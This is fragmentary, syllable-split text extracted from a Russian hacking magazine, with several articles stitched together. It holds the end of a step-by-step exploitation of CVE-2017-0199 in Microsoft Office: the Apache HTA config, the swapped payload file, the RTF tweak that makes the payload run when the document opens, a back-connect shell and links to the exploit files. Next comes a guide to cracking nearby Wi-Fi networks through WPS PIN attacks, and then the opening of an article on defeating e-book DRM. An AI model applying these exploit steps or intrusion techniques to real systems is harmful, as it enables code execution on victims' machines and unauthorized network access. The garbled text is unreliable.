Microsoft Word. ;) Далее ука зыва ем URL до фай ла exp.rtf и не забыва ем отме ‐
тить галоч кой пункт «Связь с фай лом».

Встра ива ние фай ла с уда лен ного сер вера в документ Word

Пос ле нажатия ОK мы видим, что под гру зил ся текст из докумен та. Логи апа ча
это  под твержда ют.  Сох раня ем  документ  в  фор мате  RTF,  я  наз вал  его

.exploit.rtf

Word заб рал файл с сер вера и добавил его в документ

Зак рыва ем  Word  и  воз вра щаем ся  к  веб‐сер веру.  Редак тиру ем 
 хос та и добав ляем к каж дому отве ту сер вера заголо вок 

.

файл  кон ‐
фигура ции Content‐
Type: application/hta

    <Directory /var/www/html/>
        Header set Content‐Type "application/hta"
        Dav on
    </Directory>

Для чего это нуж но? Тут‐то и кро ется вся суть уяз вимос ти. Дело в том, что Mi‐
crosoft  OLE  исполь зует  COM‐объ ект    для  дос тупа  к  свя зан ным
докумен там, которые рас положе ны на уда лен ном сер вере. Толь ко вот прог ‐
рамма для обра бот ки кон тента выбира ется исхо дя из передан ного сер вером
MIME‐типа. При чем некото рые из них могут быть очень опас ными. Нап ример,
наш  покор ный  слу га    переда ет  управле ние  прог рамме

,  а  выпол нение  докумен та  такого  типа  рав носиль но  выпол нению
про изволь ного кода.

URL Moniker

application/hta
mshta.exe

Ука затель на CLSID URL Moniker в докумен те с внед ренным объ ектом

Даль ше  меня ем  содер жимое  слин кован ного  фай ла  exp.rtf  на  содер жимое
exp.hta:

cat exp.hta > exp.rtf

Рас ширение фай ла оставля ем преж ним, ведь Word будет обра щать ся имен но
к  нему.  Переза пус каем  демон  Apache  и  откры ваем  файл  exploit.rtf.  Если
теперь два раза щел кнуть на внед ренный документ,  то выпол нится код,  ука ‐
зан ный в HTA‐при ложе нии. В моем слу чае отра ботал бэк коннект‐шелл.

Экс пло ит выпол нился успешно. Пой мали кон нект

Что бы  экс пло ит  отра баты вал  авто мати чес ки,  нуж но   
  в  файл  exploit.rtf  меж ду    и  .  Таким  обра зом,

при  заг рузке  Word  авто мати чес ки  попыта ется  обно вить  при лин кован ный
файл,  и  код  выпол нится.  При чем  режим  «защищен ного  прос мотра»  сов сем
не защища ет от этой ата ки.

до бавить стро ку objup‐
date objautlink rsltpict

«Вклю чаем» авто мати чес кое сра баты вание экс пло ита пос ле откры тия

Мож но заметить, что Word выда ет диало говое окно с воп росом, обно вить ли
информа цию  из  свя зан ного  фай ла,  одна ко  спло ит  уже  сде лал  свое  чер ное
дело.

Экс пло ит отра баты вает сра зу пос ле откры тия докумен та. Воп рос
про обновле ние слег ка запоз дал :)

Эк зем пля ры  гуля ющих  в  Сети  вре доно сов,  разуме ется,  исполь зуют  раз ‐
личные  тех ники  сок рытия  сво ей  деятель нос ти.  Что бы  поль зовате ля  не  сму ‐
тили выс кочив шие окна, изме няет ся раз мер окна HTA‐при ложе ния, уби вает ся
вор дов ский про цесс, в котором отра ботал экс пло ит, и запус кает ся новый —
с фей ковым докумен том. Но это уже сов сем дру гая исто рия, которая выходит
за рам ки обзо ра.

На пос ледок хочу добавить, что уяз вим не толь ко один Word, но так же все
при ложе ния Microsoft Office, которые под держи вают внед рение объ ектов.

Экс плу ата ция PowerPoint

TARGETS
Microsoft Office вер сий с 2007 по 2016.

SOLUTION
В рам ках втор ника исправ лений 11 апре ля ком пания Microsoft выпус тила 
 для всех вер сий про дук тов. В качес тве вре мен ной меры можешь переназ ‐

начить  обра бот чик    таким  обра зом,  что бы  при ложе ния
обра баты вались  как  обыч ный  текст.  Для  это го  нуж но  внес ти  сле дующие
изме нения в реестр.

пат ‐
чи

application/hta

Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOTPROTOCOLSFilterapplication/hta]
"CLSID"="{5e941d80‐bf96‐11cd‐b579‐08002b30bfeb}"

На этом все.

https://vimeo.com/220105198
https://twitter.com/ryHanson/status/851148431691096064
https://raw.githubusercontent.com/allyshka/exploits/master/office/CVE-2017-0199/exp.rtf
https://github.com/allyshka/exploits/blob/master/office/CVE-2017-0199/exp.hta
https://gist.github.com/inaz2/41cfab2415c1a696401f
https://github.com/allyshka/exploits/blob/master/office/CVE-2017-0199/exploit.rtf
https://github.com/allyshka/exploits/blob/master/office/CVE-2017-0199/000-default.conf
https://msdn.microsoft.com/en-us/library/ms775149(v=vs.85).aspx
https://github.com/allyshka/exploits/blob/master/office/CVE-2017-0199/exploit.rtf#L56
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199
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ВЗЛОМ

На вер няка  ты  уже  занимал ся  взло мом бес про вод ных  сетей
с  ноут бука  и  замечал,  что  тас кать  его  не  слиш ком  удоб но,
да и вни мание он прив лека ет. Но зачем ноут бук, если у тебя
есть нас тоящий кар манный компь ютер, с помощью которо го
вар драй вин гом  мож но  занимать ся,  не  палясь  вооб ще!
В этой статье мы выпол ним под готов ку и раз берем прос тые
ата ки,  а  в  сле дующей  перей дем  к  дей стви тель но  тяжелой
артилле рии.

WARNING

Прак тика  показы вает,  что  боль шинс тво  взло мов
совер шает ся  самыми  при митив ными  метода ми.
Автор  лишь  рас сужда ет  о  тех ничес ких  воз ‐
можнос тях  взло ма  и  не  при зыва ет  тебя  так  дей ‐
ство вать.  Есть  толь ко  один  спо соб  научить ся
эффектив но отра жать сетевые ата ки — это выпол ‐
нять  их  самому  и  ста вить  себя  на  мес то  ата ‐
кующе го.  Ина че  любой  аудит  прев раща ется
в  фик тивную  про вер ку  на  соот ветс твие  стан ‐
дартам.

АРСЕНАЛ
Все,  что  пот ребу ется  для  быс тро го  стар та, — минималь но  под готов ленный
смар тфон  или  план шет  с ОС Android.  Если  не  сто ит  задача  взло мать  опре ‐
делен ную и хорошо защищен ную сеть, а хочет ся прос то под клю чить ся к зак ‐
рытому вай фаю поб лизос ти, это го будет дос таточ но.

Пер вичную  раз ведку  эфи ра  мож но  про водить  на  устрой ствах  с  Android
2.3–4.4, а начиная с Android 5.0 появи лась воз можность выпол нять прос тей ‐
шие  WPS  PIN  ата ки  даже  без  рута.  Прос то  ста вишь  пару  при ложе ний
и  нажима ешь  кноп ку  «сде лать  как  надо». Но  самое  инте рес ное,  как  всег да,
кро ется в деталях.

ГОТОВИМСЯ К АТАКЕ
Су щес тву ет мно жес тво типовых атак на точ ки дос тупа Wi‐Fi и спе цифи чес ких
экс пло итов для опре делен ных моделей с  кон крет ными вер сиями про шивок.
К  типовым  отно сят ся  методы  под бора  WPS  PIN,  вычис ление  клю чей  WEP
и WPA 2  по  ана лизу  перех вачен ных  пакетов,  а  так же  при нуди тель ное  перек ‐
лючение AP на более сла бый алго ритм шиф рования (WEP вмес то WPA).

Особ няком  сто ят  методы  соци аль ного  инжи нирин га:  соз дание  под дель ‐
ных  AP  (иден тичных  ата куемой)  для  получе ния  пароля  от  нас тоящей  или же
для про веде ния раз личных MitM‐атак, а так же деав ториза ция/глу шение бес ‐
про вод ных кли ентов и DoS как самос тоятель ные цели.

Са мый  уни вер саль ный  спо соб  ата ки  на  точ ку  дос тупа —  вычис ление  ее
клю ча WPA 2 по отдель ным сооб щени ям (M1‐M4) из перех вачен ных хен дшей ‐
ков. Он сра баты вает прак тичес ки всег да, но тре бует боль ших зат рат (осо бен ‐
но вре мени). Перех ват «рукопо жатий» всег да выпол няет ся в режиме монито ‐
рин га,  который  под держи вает  далеко  не  каж дый  Wi‐Fi‐чип  и  драй вер.
Для  уско рения  сбо ра  хен дшей ков  пот ребу ется  фун кция  инжекта  пакетов,
которая  деав торизу ет  под клю чен ных  к  AP  кли ентов  и  зас тавля ет  их  чаще
отправ лять  «рукопо жатия».  Она  и  вов се  встре чает ся  у  еди нич ных  Wi‐Fi‐
модулей.

За  ред ким  исклю чени ем  пре дус танов ленные  в  смар тфон  драй веры
не поз воля ют даже запус кать режим монито рин га, да и аль тер натив ные драй ‐
веры для встро енных чипов есть не всег да. Поэто му для взло ма чаще исполь ‐
зуют внеш ние USB Wi‐Fi адап теры с hacker friendly чипами (пре иму щес твен но
от Atheros и Ralink). Под робнее смот ри в статье «

».
Вы бира ем бюд жетный адап ‐

тер для взло ма Wi‐Fi
Од нако  есть  и  обходной  путь,  не  тре бующий  покуп ки  обо рудо вания

или мучений с драй верами. У мно гих точек дос тупа с надеж ной защитой (вро ‐
де WPA 2 PSK CCMP) порой ока зыва ется раз решен WPS — допол нитель ный
вари ант авто риза ции по пин‐коду. Этот пин час то оста ется дефол тным и лег ‐
ко вычис ляет ся.

Те оре тичес ки  у  вось миз начно го  WPS‐пина  все го  100  мил лионов  ком ‐
бинаций, из которых уни каль ны толь ко 10 мил лионов, так как пос ледняя циф ‐
ра  —  кон троль ная  и  зависит  от  дру гих  семи.  На  прак тике  же  дос таточ но
переб рать  толь ко  11  тысяч  вари антов  из‐за  уяз вимос тей  самого  алго рит ма
(кон цепту аль но подоб ных най ден ным в LM‐хеше, под робнее  ).здесь

Брут форс  11  тысяч  PIN‐кодов  при  хорошем  уров не  сиг нала  зай мет  при ‐
мер но пол дня, пос коль ку на про вер ку одно го пина тра тит ся от двух до десяти
секунд.  Поэто му  на  прак тике  исполь зуют ся  толь ко  самые  быс трые  ата ки
на WPS — по дефол тным зна чени ям пинов и по их сни жен ной энтро пии (pixie
dust). Для про тиво дей ствия брут форсу пин‐кодов и под клю чению к фей ковой
точ ке  дос тупа  меж ду  AP  и  кли ент ски ми  устрой ства ми  пре дус мотрен  обмен
хешами. По задум ке они дол жны вычис лять ся на осно ве WPS PIN и двух слу ‐
чай ных чисел. На прак тике мно гие роуте ры либо генери руют пред ска зуемые
чис ла,  либо  вов се  оставля ют  их  нулевы ми.  Энтро пия  рез ко  сни жает ся,
а  механизм,  задуман ный  для  уси ления  защиты,  из‐за  некор рек тной  реали ‐
зации лишь ослабля ет ее. Так же некото рые про изво дите ли зада ют WPS‐пин
как  про изводное  от  дру гих  извес тных  зна чений  (в  час тнос ти,  MAC‐адре са).
Такие точ ки дос тупа вскры вают ся прак тичес ки мгно вен но.

Ак туаль ность WPS‐атак сос тоит еще и в том, что в некото рых точ ках дос ‐
тупа фун кция Wi‐Fi Protected Setup вклю чена по умол чанию и не отклю чает ся
штат ными средс тва ми. Из‐за кри вой про шив ки девай са либо в его меню нас ‐
тро ек  нет  соот ветс тву юще го  пун кта,  либо  положе ние  перек лючате ля
Enable/Disable в нем не игра ет роли. Видимо, это одна из при чин того, почему
в любом городе сре ди мно жес тва «защищен ных» бес про вод ных сетей до сих
пор хва тает лег ких целей.

РАЗВЕДКА
Весь про цесс вар драй вин га мож но раз делить на два эта па: сбор информа ‐
ции  о  точ ках  дос тупа  и  непос редс твен но  их  взлом.  Сущес тву ет  мно жес тво
спо собов  прос каниро вать  бес про вод ные  сети  со  смар тфо на,  но  по
информа тив ности  они  силь но  отли чают ся.  Одни  прог раммы  показы вают
прос то SSID и  уро вень сиг нала подоб но сис темно му при ложе нию,  а дру гие
отоб ража ют все парамет ры най ден ных AP. В час тнос ти, ука зыва ют тип защиты
и поз воля ют филь тро вать спи сок по раз ным кри тери ям.

Сре ди таких при ложе ний я бы рекомен довал исполь зовать  . Он
написан под руководс твом док тора Тома Кло сиа (Tom Clothia) из Бир мингем ‐
ско го  уни вер ситета  в  2012  году.  Текущая  вер сия  1.2  поз воля ет  выпол нять
аудит сог ласно стан дарту безопас ности дан ных PCI DSS 2. С ней ты получишь
исчерпы вающую  информа цию  о  режимах  работы  най ден ных  точек  дос тупа
Wi‐Fi,  смо жешь  сра зу  же  выпол нить  их  прос тей ший  пен тест  по  дефол тным
паролям и мно гое узнать о под клю чен ных устрой ствах. При ложе ние бес плат ‐
ное и не содер жит рек ламы, одна ко для боль шинс тва его фун кций пот ребу ‐
ется root.

WiFinspect

Аудит в WiFinspect

До пол няет  WiFinspect  дру гое  популяр ное  при ложе ние  —  .  Оно
уме ет  ска ниро вать  диапа зоны  2,4  и  5  ГГц  и  работа ет  без  прав  супер поль ‐
зовате ля. Wifi  Analyzer  отоб ража ет  кучу  дан ных,  вклю чая  номер  канала  выб ‐
ранной  AP,  ее  MAC‐адрес,  про изво дите ля  (вычис ляет ся  по  MAC),  и  так  же
деталь но  рас писыва ет  типы  шиф рования.  Для  это го  дос таточ но  отме тить
в  нас трой ках  «Показы вать  пол ный  уро вень  безопас ности».  Минус  у  прог ‐
раммы  один  —  навяз чивая  рек лама  во  всех  окнах  Wifi  Analyzer.  Ее  мож но
убрать при помощи   (но тог да все рав но понадо бит ся root) или купив
плат ную вер сию.

Wifi  Analyzer

AdAway

Wifi Analyzer показы вает AP и их парамет ры

Оба  при ложе ния  отлично  допол няют  друг  дру га,  работая  прак тичес ки
на  любом  девай се  с  Android  2.3  и  новее.  Они  удоб ны  для  раз ведки  эфи ра
и пред варитель ного выбора целей. Все най ден ные AP мож но отсорти ровать
по уров ню сиг нала и сте пени защиты. Так сра зу опре деля ются наибо лее дос ‐
тупные AP.

В Google Play есть и  . Он бес плат ный, без рек ‐
ламы, уме ет филь тро вать AP по типу защиты и даже пыта ется вычис лить рас ‐
сто яние  до  них  в  мет рах  (как  если  бы  они  все  вещали  пря мой  навод кой).
Одна ко в нем нет режима «охо ты на лис» — неп рерыв ного изме рения уров ня
сиг нала выб ранной точ ки дос тупа. В осталь ном прог рамма иден тична.

опен сор сный WiFiAnalyzer

INFO

Ин терес но,  что  некото рые  вла дель цы  прос то
скры вают  SSID  сво ей  бес про вод ной  сети,
не  утруждая  себя  нас трой кой  авто риза ции. Дру ‐
гие  нас тра ивают  стро гую  авто риза цию  в  диапа ‐
зоне 2,4 ГГц, но нап рочь забыва ют о парал лель но
работа ющем 5 ГГц. Сре ди двух диапа зон ных точек
дос тупа встре чают ся и такие «полузак рытые».

ПОДВОДНЫЕ КАМНИ
Ус пешность  раз ведки  зависит  от  уста нов ленно го  в  смар тфо не  модуля  бес ‐
про вод ной свя зи. Он может иметь как аппа рат ные, так и прог рам мные огра ‐
ниче ния. Аппа рат ные каса ются чувс тви тель нос ти при емни ка и под дер жки им
раз личных стан дартов из набора IEEE 802.11. Далеко не во всех смар тфо нах
есть двух диапа зон ный Wi‐Fi. Прог рам мные же час то зависят от исполь зуемо ‐
го драй вера и уста нов ленно го реги она.

Про  драй веры  погово рим  в  сле дующей  час ти,  а  пока  обра ти  вни мание
на  один  не  самый  оче вид ный  момент:  в  раз ных  реги онах  зем ного  шара
выделе ны  свои  диапа зоны  час тот  в  рам ках  еди ного  стан дарта.  Нап ример,
для  802.11b/g/n  это  2412–2484  МГц  или  14  час тотных  каналов  с  шагом
базовой  час тоты  5  МГц.  Одна ко  в  Рос сии  14‐й  канал  исполь зовать  зап ‐
рещено, а 12‐й и 13‐й — не рекомен дует ся из‐за того, что при ширине канала
в 20–40 МГц слиш ком велик риск воз никно вения помех на зап рещен ной час ‐
тоте.  Сход ная  ситу ация  сло жилась  на  Укра ине  и  в  дру гих  стра нах  быв шего
СССР.  Поэто му  прак тичес ки  все  обо рудо вание  с  под дер жкой  Wi‐Fi,  пред ‐
назна чен ное  для  реги она  СНГ,  де‐фак то  работа ет  толь ко  на  каналах  1–
11 или даже 1–10.

Этим  осто рож но  (и  не  всег да  закон но)  поль зуют ся  прод винутые  тех нари
в сво их инте ресах. К при меру, одна фир ма под клю чает на каналах 12–13 бес ‐
про вод ное  обо рудо вание  для  виде онаб людения,  что бы  миними зиро вать
помехи от сосед них AP. Вар драй веры же прос то меня ют реги ональ ные нас ‐
трой ки  и  получа ют  дос туп  к  «зак рытым»  каналам. Под сказ ка:  в Япо нии  пока
раз решены все 14.

INFO

Тех ничес ки  бес про вод ную  связь  по  стан ‐
дартам  802.11b/g/n  мож но  орга низо вать  и  на
нес тандар тных час тотах (ниже 2412 МГц), но для
это го  пот ребу ется  спе цифи чес кое  обо рудо вание
и  лицен зия,  а  не  прос то  раз решение  мес тно го
ради очас тотно го  цен тра.  Шанс  получить  такой
пакет  докумен тов  у  час тно го  лица  прак тичес ки
нулевой.

ПЕРВЫЙ БОЙ
В  Google  Play  пол но  прог рамм  для  перебо ра  WPS‐пинов,  пос коль ку
это  единс твен ная  ата ка,  работа ющая  на  любом  рутован ном  телефо не  (до
вер сии  Android  4.4)  и  даже  без  рута  (начиная  с  Android  5.0).  Одна ко  боль ‐
шинс тво  из  этих  при ложе ний  написа ны  абы  как,  и  их  прак тичес кая  поль за
очень  сом нитель на.  К  при меру,  WPSbr  Free  зачем‐то  пыта ется  переби рать
все  100 мил лионов  пин‐кодов,  про веряя  их  по  два  раза  даже  при  хорошем
уров не сиг нала. Пол ный перебор  таким спо собом зай мет при мер но 16 лет,
но боль шинс тво AP заб локиру ют лобовую ата ку гораз до рань ше. Пос ле оче ‐
ред ного  невер ного  пин‐кода  кли ент ское  устрой ство  попадет  в  чер ный  спи ‐
сок, и для про дол жения бру та при дет ся менять MAC‐адрес.

Бес смыс ленный перебор

Бо лее  кор рек тный  под бор  пинов  выпол няет  прог рамма  .  Она  поз ‐
воля ет  отфиль тро вать  все  най ден ные  точ ки  дос тупа.  Оставля ет  в  спис ке
толь ко име ющие активный WPS и сор тиру ет их по убы ванию SNR.

WPSApp

Спи сок целей

Все потен циаль но  уяз вимые  точ ки дос тупа в WPSApp отоб ража ются  зна ком
воп роса.  Для  них  пред лага ется  поп робовать  один  из  пяти  дефол тных
пин‐кодов. Автор прог раммы не стал замора чивать ся со скрип том перебо ра
и пред ложил сде лать это вруч ную, зато дву мя спо соба ми — с рутом и без.

Ес ли  же  дефол тный  пин‐код  заранее  известен  (вычис ляет ся  как  про ‐
изводное от MAC‐адре са по алго рит му ComputePIN),  то такая точ ка дос тупа
отме чает ся зеленой галоч кой.

Вы чис ленный WPS PIN

Ес ли  пин‐код  подошел,  то  ты  сра зу  получишь  пароль  к  Wi‐Fi  (WPA‐PSK),
каким бы слож ным и длин ным он ни был. Пароль мож но сох ранить и перей ти
к  сле дующей  точ ке  дос тупа.  Спус тя  какое‐то  вре мя  твой  телефон  смо жет
исполь зовать Wi‐Fi там, где рань ше ловил толь ко 3G/4G.

Ус пешный под бор WPS PIN и пароля

WPSApp видит скры тые сети

https://xakep.ru/2016/09/27/wardriving-devices/
https://xakep.ru/2012/11/08/wifi-key-with-wps/
https://play.google.com/store/apps/details?id=uk.co.opticiancms.wifiprobe
https://play.google.com/store/apps/details?id=uk.co.opticiancms.wifiprobe
https://f-droid.org/repository/browse/?fdfilter=adaway&fdid=org.adaway
https://play.google.com/store/apps/details?id=com.vrem.wifianalyzer
https://play.google.com/store/apps/details?id=com.themausoft.wpsapp


ЛОМАЕМ
WI-FI

СО СМАРТФОНА
РАЗВЕДКА И ПЕРВЫЙ БОЙ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Чуть более прод винутая ути лита —  . По сути это гиб рид WPS PIN
и Router Keygen. В нее зашито боль ше дефол тных пинов и паролей дос тупа
к  мар шру тиза торам,  а  так же  есть  фун кция  их  авто мати чес кого  перебо ра.
Плюс  она  показы вает  сох ранен ные  пароли  Wi‐Fi  и  все  нас трой ки  текуще го
под клю чения.

WiFree WPS

Мгно вен ное вычис ление пароля для Zyxel Keenetic с дефол тным пином

Ин терфейс у прог раммы аля пова тый, но доволь но информа тив ный. Она ана ‐
лизи рует тип защиты, про изво дите ля и уро вень сиг нала всех най ден ных точек
дос тупа. Зеленым отоб ража ются AP с наибо лее высокой веро ятностью взло ‐
ма. Серым —  те  AP,  на  которых  сто ит  переб рать  10–20  стан дар тных  пинов,
а крас ным — те, которые быс тро вскрыть не удас тся. Нап ример, у них очень
низ кий  уро вень  сиг нала  или  вов се  отсутс тву ет  авто риза ция  по  WPS  PIN.
В WiFree WPS дос тупно два режима ата ки: с рутом (тре бует ся патч и BusyBox)
и без рута (работа ет на Android 5.0 и выше, при чем быс трее, чем в ана логич ‐
ных прог раммах).

Ав томати чес кий перебор пинов в WiFree WPS

Ес ли в базе дан ных прог раммы нет дефол тных пин‐кодов для устрой ств дан ‐
ного  про изво дите ля,  такая  точ ка  дос тупа  будет  отоб ражать ся  крас ным.  Ты
можешь поп робовать под клю чить ся к ней, вво дя WPS PIN вруч ную. Помешать
успешно му  взло му могут  и дру гие фак торы:  низ кий  уро вень сиг нала,  режим
WPS‐авто риза ции по нажатию кноп ки, изме нение дефол тно го пина, филь тра ‐
ция по MAC‐адре су.

Еще один роутер Zyxel с дефол тным пином

Пос ле  того  как  ты  подоб рал WPS PIN  и  узнал  пароль  точ ки  дос тупа,  мож но
под клю чать ся  к  ней  и  изу чать  бес про вод ную  сеть.  Для  это го  рекомен дую
исполь зовать бес плат ный набор ути лит  .Fing — Network Tools

При ложе ние име ет акку рат ный и наг лядный интерфейс, а все пун кты меню
говорят  сами  за  себя.  Нап ример,  мож но  прос каниро вать  точ ку  дос тупа
и узнать о ней мас су деталей.

Fing показы вает инфу о точ ке дос тупа

За тем  разос лать  ARP‐пакеты  и  обна ружить  все  под клю чен ные  хос ты  в  этой
бес про вод ной сети (в том чис ле и твой смар тфон).

Fing показы вает все хос ты в бес про вод ной сети

Пос мотреть дос тупные сер висы и откры тые пор ты на любом узле в этой сети.

Fing опре деля ет дос тупные сер висы на роуте ре

Fing  даже  пред лага ет  сра зу  же  под клю чить ся  к  любому  из  них,  нап ример
по Telnet.

Под клю чаем ся по Telnet к най ден ным хос там

Прос тор для фан тазии здесь откры вает ся очень боль шой. Мож но даже уда ‐
лен но  вклю чить  спя щее  устрой ство,  если  оно  под держи вает  тех нологию
Wake‐on‐LAN,  или  устро ить  общую  побуд ку  широко веща тель ным  зап росом
WOL.

Fing тру бит подъ ем!

Ищем зону уве рен ного при ема
Ве роят ность  успе ха  любой  ата ки  на  точ ку  дос тупа  зависит  от  мощ ности  ее
сиг нала.  Точ нее,  от  соот ношения  сиг нал/шум  (SNR),  которое  ты  регис три ‐
руешь в кон крет ном мес те. На прак тике если уро вень сиг нала ниже –75 дБи,
то  луч ше  най ти  зону  более  уве рен ного  при ема  или  поис кать  дру гие  цели.
Не всег да сто ит пытать ся приб лизить ся к AP в надеж де получить более ста ‐
биль ную связь. Иног да ты ока зыва ешь ся бли же к источни ку помех (мик ровол ‐
новке или дру гой AP на сосед нем канале), а отра жен ный сиг нал дос таточ ной
мощ ности ловит ся за углом или в совер шенно неожи дан ном мес те. Най ти его
поможет режим неп рерыв ного изме рения уров ня сиг нала в Wifi Analyzer.

Ищем уве рен ный при ем с помощью Wifi Analyzer

ЧТО ДАЛЬШЕ?
В  сле дующей  статье  мы  рас ска жем,  как  обой ти  некото рые  огра ниче ния,
и зай мем ся более прод винуты ми ата ками с помощью серь езных инс тру мен ‐
тов. Для  прод винутых  атак  пот ребу ется  root,  уста нов ленный  набор  кон соль ‐
ных ути лит (BusyBox), руч ная доус танов ка не вошед ших в BusyBox прог рамм,
собс твен но  эму лятор  тер минала,  USB‐OTG  (соф товый  +  кабель),  внеш ние
USB Wi‐Fi  адап теры на опре делен ных чипах, драй веры модулей бес про вод ‐
ной  свя зи  с  под дер жкой  режима  монито рин га  (обя затель но)  и  инжекта
пакетов (желатель но), пат чи ядра, под готов ленные дис три бути вы Linux, смон ‐
тирован ные в chroot, и поболь ше тер пения. 

WWW

•WiFinspect
•WPSApp
•WiFree WPS

https://play.google.com/store/apps/details?id=com.rodcas.pinconnectwifi
https://play.google.com/store/apps/details?id=com.overlook.android.fing
https://play.google.com/store/apps/details?id=uk.co.opticiancms.wifiprobe
https://play.google.com/store/apps/details?id=com.themausoft.wpsapp
https://play.google.com/store/apps/details?id=com.rodcas.pinconnectwifi#


КНИЖНЫЙ

DRM

И КАК ИХ ЗАЩИТУ ВЗЛАМЫВАЮТ
КАК ЗАЩИЩАЮТ ЭЛЕКТРОННЫЕ КНИГИ

Олег Афонин

ВЗЛОМ

Adobe,  Amazon,  Barnes  &  Noble.  Все  эти
ком пании  при лага ют  мас су  уси лий
для  защиты  элек трон ных  книг  от  копиро ‐
вания  и  рас простра нения  в  интерне те.
Одна ко  каж дый  раз  находят ся  спо собы  ее
обой ти  или  взло мать.  Как  работа ет  такая
защита, как ее взла мыва ют и какие аль тер ‐
натив ные  спо собы  при нуж дения  к  покуп ке
(в про тиво вес кра же) исполь зуют ком пании
вмес то  DRM —  обо  всем  этом  погово рим
в сегод няшней статье.

Элек трон ные  кни ги  реша ют  мно гие  проб лемы.  Не  нуж но  рубить  деревья,
тысячи  книг  уме щают ся  на  кар те  памяти раз мером с  ноготь,  а  элек трон ные
читал ки  дос тупны  любых  форм  и  раз меров,  при  этом  их  сто имость,  если
говорить  об  аме рикан ском  рын ке,  сопос тавима  со  сто имостью  десят ка
бумаж ных изда ний. Неуди витель но, что еще в 2011 году объ ем про даж элек ‐
трон ных  книг  в  магази не  Amazon  в  США    объ ем  про даж  печат ных
изда ний спер ва в США, а бук валь но через год — и  .

пре высил
по все му миру

Од нако  в  2015  году  энту зиазм  покупа телей  ,  а  в  2016‐м
намети лись прос то‐таки   тен денции. Спер ва замед лился рост про ‐
даж элек трон ных изда ний, а потом и вов се про дажи начали падать. Что слу ‐
чилось?

по шел  на  спад
тре вож ные

Свою  роль  здесь  сыг рала  прос тей шая  ком бинация фак торов:  сто имость
элек трон ных  изда ний  в  круп ных  магази нах  (Amazon,  Barnes  &  Noble)  поч ти
дог нала по цене бумаж ные кни ги, но огра ниче ний у элек трон ных изда ний куда
боль ше.

Нап ример,  возь мем  Amazon.  Что  мож но  сде лать  с  куп ленной  на  Amazon
бумаж ной  кни гой?  Да  что  угод но.  Ее  мож но  про читать,  одол жить  дру гу,
наконец — подарить, до или пос ле проч тения. Ненуж ные кни ги мож но сдать
в макула туру или отдать в биб лиоте ку,  где  к ним получит дос туп еще сколь ‐
ко‐то читате лей.

А что мож но сде лать с куп ленной на Amazon элек трон ной кни гой? Ее мож ‐
но  ска чать  на  авто ризо ван ное  устрой ство  (любой  план шет  или  телефон
на Android и iOS или читал ку на E Ink, если она Kindle) и про читать. В некото ‐
рых  слу чаях  кни гу мож но одол жить  дру гому  поль зовате лю,  у  которо го  так же
есть  учет ная  запись  Amazon.  Впро чем,  даже  ког да  подоб ное  раз решено,
одал живать  кни ги  мож но  нечас то  и  ненадол го.  Еще  кни гу  мож но  уда лить
из сво ей биб лиоте ки. На этом воз можнос ти закан чива ются.

Элек трон ные  кни ги  прек расно про дава лись  пять  лет  назад,  но  на  сегод ‐
няшний день про дажи «элек трон ки» у круп ных магази нов пада ют, а пер спек ‐
тивы элек трон ных про даж уже не выг лядят так радуж но. Цены на «элек трон ку»
пос тепен но  докараб кались  до  цен  на  бумаж ные  изда ния,  а  при сущие  элек ‐
трон ным фор матам огра ниче ния ник то и не подумал снять. Ситу ация дош ла
в сво ей абсур днос ти до пре дела пос ле того, как сту ден ты аме рикан ских уни ‐
вер ситетов  друж но  про игно риро вали  элек трон ные  учеб ники:  при  том  что
в  элек трон ном  виде  учеб ные  матери алы  мож но  было  купить  на  20–30%
дешев ле  бумаж ных,  элек трон ный  учеб ник  невоз можно  ни  про дать  в  кон це
учеб ного  года,  ни  купить  со  скид кой  в  букинис тичес ком  отде ле.  При  цене
учеб ников,  исчисля ющей ся  десят ками  дол ларов,  сто имость  поль зования
элек трон ными вер сиями замет но пре выша ла сто имость вла дения «бумагой».

Что  же  меша ет  сту ден там,  да  и  прос тым  читате лям,  делить ся  кни гами
в элек трон ной фор ме? Три бук вы: DRM. Тер мином Digital Rights Management
(DRM)  обоз нача ют  раз личные  виды  защиты,  с  помощью  которых  пра вооб ‐
ладате ли  кон тро лиру ют  исполь зование  лицен зиатом  (уже  не  покупа телем!)
защищен ного матери ала. Для элек трон ных книг в качес тве DRM чаще все го
исполь зует ся шиф рование, но и здесь ситу ация далеко не однознач на. Давай
пос мотрим,  какие  имен но  сис темы  DRM  исполь зуют ся  в  мире,  а  какие  —
у нас в стра не.

PDF: ПРАДЕДУШКА ЦИФРОВЫХ КНИГ
Да, все пра виль но: одним из пер вых фор матов элек трон ных книг, в котором
под держи вал ся  DRM,  был  Adobe  PDF.  У  ком пании  «Элкомсофт»,  в  которой
работа ет автор этих строк, осо бо тро гатель ное отно шение как к фор мату, так
и  к  ком пании  Adobe:  имен но  пос ле  успешно го  взло ма  DRM‐защиты  Adobe
PDF раз работ чик Дмит рий Скля ров ока зал ся в аме рикан ской тюрь ме, а ком ‐
пания  ввя залась  в  мно гоме сяч ную  тяж бу  с  Фемидой.  Дмит рия  арес товали
во  вре мя  поез дки  в  США,  где  он  делал  док лад  по  осо бен ностям  защиты
и взло ма PDF, на сле дующий день пос ле док лада на выходе из оте ля  (ког да
он соб рал вещи и нап равлял ся в аэро порт). И даже окон чатель ное судеб ное
решение Not guilty — «невино вен» — никак не ком пенси рова ло зат раты нер ‐
вов, вре мени и денег.

Се год ня  же  нам  ничего  не  гро зит,  и  осо бен ности  защиты  фор мата  PDF
мож но  спо кой но  и  безопас но  обсуждать  на  стра ницах  жур нала.  Если  тебя
дей стви тель но  заин тересу ет  тема  шиф рования,  взло ма  и  сня тия  защиты
с  PDF‐фай лов,  рекомен дую  книж ку,  написан ную  Дмит рием  Скля ровым,  —
«Искусс тво защиты и взло ма информа ции»  (СПб., 2004). По иро нии судь бы,
в  элек трон ном виде  кни га рас простра няет ся имен но  в фор мате Adobe PDF.
Сле дующие два раз дела осно ваны на дан ных из кни ги.

ADOBE PDF MERCHANT (ACROBAT WEB BUY)
Не  про пус кай  этот  раз дел!  Хоть  на  сегод няшний  день  Adobe  PDF Merchant
пред став ляет  исклю читель но  исто ричес кий  инте рес  (впро чем,  как  и  вся
защита Adobe PDF DRM),  имен но этот фор мат поз воля ет  понять,  что  собой
пред став ляет защита DRM в при мене нии к элек трон ным изда ниям. Основные
прин ципы защиты DRM с тех пор мало изме нились; изме нилась в основном
реали зация.

Под дер жка  элек трон ных  книг  появи лась  в  виде  под гру жаемо го  модуля
